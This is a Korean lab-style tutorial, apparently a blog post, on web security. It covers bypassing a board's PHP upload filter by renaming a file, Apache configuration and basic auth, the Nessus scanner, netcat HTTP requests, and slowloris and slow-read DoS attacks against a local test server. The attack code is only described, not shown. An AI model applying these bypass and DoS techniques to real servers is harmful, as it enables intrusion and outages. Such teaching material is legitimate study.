나쁜 해커처럼 우리도 PHP 파일을 올려볼 것이다.
단순히 화면에 run php haha 문자가 출력되는 php 파일이다.




(php 파일 작성)




우리가 만든 php 파일을 게시판에 올려볼 것이다.




(php 업로드)




파일을 올리려 클릭을 해보니...



(업로드 제한)




PHP 파일은 올릴 수 없다고 뜬다.

게시판에서 조건을 걸어둔 것이다.
write_ok.php 파일을 열어서 확인해 보겠다.



(write_ok.php 파일 확인)




(php 파일 제한)




207번 라인을 보니 HTML , PHP 파일을 올리지 못하게 필터링 해두었다.

아주아주 기본적인 취약점을 막아놓은 것이다.
이 것은 유명한 공격이므로 이렇게 해놓는 것이 당연하다.

그렇다면 과연 나쁜 해커는 여기서 좌절할까?
머리를 굴리기 시작한다.

꼭 확장자가 php파일이어야할까?
확장자를 txt 파일로 변경해서 올려 보았다.




(txt 확장자)





(업로드)




(업로드 된 모습)




php파일이 아니므로 필터링에 걸리지 않고
txt 파일이 업로드 되었다.

여기서 이제 txt 파일을 직접 접근해보겠다.



(실행)




실행해보니 php파일이 실행 된것이 아니라
단순히 txt 파일이 실행되었다...

왜 이런 일이 일어났을까?

이것을 이해하려면 웹에대한 이해가 필요하다.
웹 아파치 서버의 글로벌 설정파일을 이해해야한다.

이야기를 시작해보겠다.
웹 서버에서 경로
/etc/httpd/conf.d 폴더에
php.conf 파일이 있다. 바로 conf.d폴더에 있는 것들이 글로벌 설정 파일이다.
먼저 왜 php파일이 확장자 .php인 파일만 php 실행이 되는지 확인해 보겠다.
php.conf 파일을 열어본다.



(php.conf 파일 확인)




(php.conf 파일)




17번, 18번 라인을 확인해보면 .php 가 보이는데 바로 이것이
.php 파일확장자는 php로 실행하라는 뜻이다.
여기에 .txt를 추가해서 확인해 보겠다.



(php.conf 파일 수정)




그러고 나서 아까 우리가 txt파일로 실행됬던 attack.txt 파일을 실행해보았다.
웹에서!



(php 실행)



php로 실행 되었다.

그렇다면 글로벌 설정 파일은 무엇일까?
위에서 본것에 의하면 웹 서버에서의 설정파일? 정도로 이해 할 수 있다.

이번에는 /etc/httpd 폴더에 있는
httpd.conf파일을 확인해보겠다.
바로 이 파일이 정확히 말하는 글로벌 설정 파일이라고 할 수 있는데
이 파일은 웹 서버가 실행되면 이 파일을 읽어 들여서 여기에 적혀있는데로
웹 서버를 실행시키는 것이다.
그렇기 때문에 글로벌 설정 파일이라고 부른다.
이 파일을 확인해 보겠다.



(httpd.conf)



여기에 보면 웹 서버 설정 내용들이 있다.
쭉 내려보면 210번 라인을 볼 수 있다.



(210번 라인)



이 라인의 코드를 보면 conf.d 폴더안에 있는  .conf 파일을 전부 실행시키는 코드이다.

웹 서버가 실행될때 이 파일이 실행되는데
이 파일 안에 코드에 의해 confd 폴더에 있는 .conf 파일이 전부 실행되므로 여기에
있는 파일들도 글로벌 설정 파일이라고 할 수 있다.

쉽게 말하자면 웹 설정 파일이 너무 기니까 부분별로 파일을 쪼개 놓은 것이다.

이 전까지 우리가 웹 코드에서 인증을 구현했었는데
웹 서버 자체에서 인증을 구현할 수도 있다.

한번 웹서버에서 인증을 설정해보겠다.
우리가 적용시킬 웹 페이지는 /var/www/html에 있는 페이지들에 대해서
인증을 적용 시켜볼 것이다.
그러므로 <Directory "/var/www/html"> 태그 안에 입력하면 된다.



(설정 적용 위치)



인증 설정을 하겠다.



(인증 설정)




인증 설정 후 웹 서버를 다시 시작해준다.



(웹서버 재 실행)



재실행 후 제로보드에 아까 그대로 들어갈 수 있었는데
지금은 사용자 인증을 해야 접속을 할 수 있게 나왔다.



(인증 요구)




다음에 이어서 웹에 대한 이해를 해보겠다 :)




오늘은 취약점 스캐너 툴을 이용해 볼 것이다.

* 취약점 스캐너
 - nesus scanner
  : nesus는 nesus server를 이용해 취약점을 스캔한다.
  : 여러사용자가 nesus server를 이용해 취약점을 분석할 수 있다.
  : 이제 우리는 nesus server를 리눅스에 설치할 것이다.
  : 무료로 제공되는 취약점 점검 도구중에 가장 유명하다.

Nessus 스캐너는 다른 스캐너와 조금 다르다.
Nessus 서버를 만든 후 그 서버가 스캔을 하고 호스트에 결과를 알려주는 식이다.
Nessus 서버를 다른 호스트들이 이용할 수 있다.

만들어두었던 리눅스에 Nessus 서버를 설치할 것이다.



(Nessus 서버 설치)



Nessus 서버를 실행시켜 준다.



(Nessus 서버 실행)



실행되었고 8834번 포트가 열려있는 것을 확인 할 수 있다.

호스트에서 이 서버에 접속해서 사용해야한다.
window 호스트에서
https:서버아이피:8834 로 접속한다.
안전하지 않음으로 뜨는 것은 해당 브라우저가 해당 인증서가 없기 때문에
안전하지 않다고 뜨는 것일 뿐이다.



(컨티뉴 클릭)



Continue를 클릭하고
계정을 만들어야한다.
간단하게 admin으로 설정했다.



(계정설정)



그리고 Activation Code를 받아야한다.
그러기 위해서는 등록해야한다.



(Activataion 코드 입력창)



홈페이지에 들어간다!



(Get an activation 클릭)



클릭하면 회원가입창이 나오고
회원가입을 하면
적은 email주소에 Activation 코드가 온다.
그 코드를 입력해주면 된다.



(Activation 코드 입력)



들어오면 처음 화면이 아래와 같다.
Scans, Polices 화면이 있다.



(Scans 화면)





(Policies 화면)



- Scans 에서는 스캔하는 화면이고
Policies에서는 직접 정책, 룰을 설정하는 곳이다.

Policies에서 Policy를 만들어보겠다.



(기본 정책들)



기본 룰 중 Basic Network Scan으로 클릭해서
이름 등을 설정해준다.




(TEST로 설정했다.)




(Policy 생성된 모습)



이렇게 설정된 TEST Policy로 스캔을 할 수 있다.
TEST 정책에 들어가보면
세부적인 설정을 할 수 있다.




(세부 설정 모습)



이제 스캔을 해보겠다.
New Scan을 누른다.



(New Scan)



아까 만들었던 정책을 이용해도 되고
기본적으로 설정되있던 정책을 사용해도 된다.
들어오면
스캔의 이름 타겟을 적는 페이지가 나온다.
Target에는 스캔을 할 대상을 입력하면 된다.



(스캔 입력)



Save를 누르면 스캔 목록이 나온다.
여기서 재생 버튼을 클릭하면 스캔을 시작한다.



(스캔 목록)



스캔을 하는 모습이다.
다 되면 결과가 정리되서 나오지만 실시간으로도 볼 수 있다.



(분석 화면)



취약점의 심각성정도에 따라 표시도 다르게 나온다.
치명적이거나 심각한 취약점은 표시가 되어서 나온다.



(취약점 분석 화면)



추가적인 Open Source Scanner
 - GIMP
 - SAINT
 - Nikto
이런 것들이 있다. :)




* HTTP 패킷의 구조에서
Body가 존재하면 헤더에는
content-type
content size 이 반드시 있어야한다.

HTTP 패킷을 전송해볼 것이다.

HTTP는 TCP 위에서 동작하는 것이다.
이 때 좋은 툴이 있다. NetCat이라는 프로그램이다.
이 프로그램은 TCP 통신을 하는 프로그램이다.

* NetCat
 - telnet과 유사한 프로그램
 - TCP 통신을 할 수 있는 프로그램

1. 리눅스용
 - nmap 패키지에 포함
 - ncat
 - 서버로 실행 가능
 - 클라이언트로 실행 가능

2. 윈도우즈용
 - netcat
 - nc.exe
- 내용은 리눅스용과 같다.

NetCat을 설치할 것이다.
리눅스에서 ncat은 nmap 패키지에 포함되어있으므로 nmap을 설치해준다.




(nmap 설치)



ncat의 옵션을 확인해본다.




(ncat 옵션)



ncat으로 10000번 포트를 listen 상태로 열어둔다.




(10000번 포트 개방)



호스트에서 접속을 해볼 것이다.
윈도우에서는 nc.exe로 실행한다. 뒤에 IP주소와 포트번호를 적어주면 연결이된다.



(연결된 모습)



(리눅스 모습)


텍스트를 주고받을 수 있는 모습을 볼 수 있다.

netcat으로 http 통신을 확인해볼 것이다.
* 네이버에 페이지 요청을 하는 request패킷을 전송해볼것이다!

netcat을 이용해서 아래의 패킷을 보낼것이다. \r\n   캐리지리턴이 꼭 들어가야한다.
한줄 띤것까지 복사해서 보내본다.
-----------------------
GET / HTTP/1.1
Host: www.naver.com

-----------------------



(naver.com 연결)




(http 응답)



http의 웹 코드를 받은 것을 확인할 수 있다.

이제부터 실습을 naver.com에 직접하기는 조금 그러니
http 웹 서버를 리눅스에서 설치해서 그 페이지를 대상으로 패킷을 주고받아 볼 것이다.

리눅스에서 httpd를 설치한다.



(httpd 설치된 모습)



설치된 httpd에서 기본 설정된 페이지는 /var/www/html  에 들어있다.
여기에 기본 페이지 index.html을 만들어줄것이다.



(기본페이지 경로)




(간단한 페이지 작성)



페이지까지 작성을 했으면
웹서버를 실행시켜준다.




(웹서버 실행)



이제 호스트에서 인터넷 브라우저로 접속해본다.




(실험 타겟 페이지)



페이지가 잘 나온 것을 확인할 수 있다.

ncat을 이용해서 아까와 똑같이 get요청을 하여
응답을 받아봤다. 



(응답 모습)





(와이어샤크 분석)



와이어 샤크로 본 모습도 추가했다. 위와같은 메세지를 주고받은 것을 확인 할 수 있다.


여기서 헤더에 구성을 살펴보면 헤더를 이용한 취약점을 발견할 수 있다.

* DDos
 - GET Flooding : 대량의 GET패킷을 보낸다. 서버의 부하를 높인다.
 - CC Attack
   ( CC : Cache Control )
 - GET Flooding은 CC Attack과 함께 같이 사용한다.
 헤더의 Cache-Control에 no cache 등으로 설정해서
 캐시를 쓰지 않겠다해서 서버에 부하를 더 높이기 위한 방법이다.
 

 - Slow attack
1) slowloris attack
 
 - 헤더의 끝을 포함하지 않은 상태로 요청
 - 서버에서는 헤더가 완전히 도착하지 않았다고
    간주하여 세션을 계속 열어둔 상태로 둔다.

2) slow read attack
 -> body가 있어야하기 때문에 GET으로는 못한다.
 - 메세지 Body를 이용한다.

slowloris 공격과 slow read 공격을 직접 해보겠다.

1) slowloris 공격
이 공격은 마지막 캐리지 리턴을 빼서 보내는 것이다. 그렇게 되면
서버는 아직 패킷이 다 오지 않은줄 알고 다음 패킷을 계속 기다린다.
원래 웹서버는 통신이 끝난후 바로 연결을 끊는다.(사용자가 많기 때문에)
하지만 이렇게 계속 열어두게 되면
이런 패킷들이 많다면? -> 서버는 다운될 수 밖에 없다.

파이썬으로 프로그램을 작성했다.



(slowloris 공격 코드)



코드를 보면 50초마다 fake 헤더를 보내주는데
이유는 웹서버가 기다리다가 끊으려고 할 때쯤
헤더인것처럼 하나 더 보내주면 서버는 ' 아! 아직 더 있었구나!' 하고 기다린다.
그러다 또 끊으려고 하다가 또! 아! 더있구나! 하고 이런식으로 계속 기다리게 하는것이다.

와이어샤크로 분석해보았다.




(디도스 공격 패킷)




(웹 서버 포트 창)



웹서버의 포트 상태를 확인하면 ESTABLISHED로 되어있다.
웹서버에서는 이 상태는 비정상적인 것이다. 왜냐하면 웹서버에서는 통신을 하고 바로 끊기 때문이다.
이런 상태로 계속, 여러개 수가 많아지면 웹서버는 부하가 엄청날 것이다.

2) slow read 공격
content-length 헤더를 엄청 크게 잡아준다.
그리고 body의 내용을 찔끔찔끔 보내주는 것이다.
그러면 웹서버의 입장에서는 계속 기다려줘야하는 상황이 발생한다.
이런 패킷들이 많다면
웹 서버는 다운되게 된다.
body를 포함해야하므로 post 메소드를 이용해 패킷을 전송한다.




(slow read 공격 코드)




(패킷 상태)





(공격받은 모습)



이 공격도 마찬가지로 established가 되어있음을 확인 할 수 있다.



+ Recent posts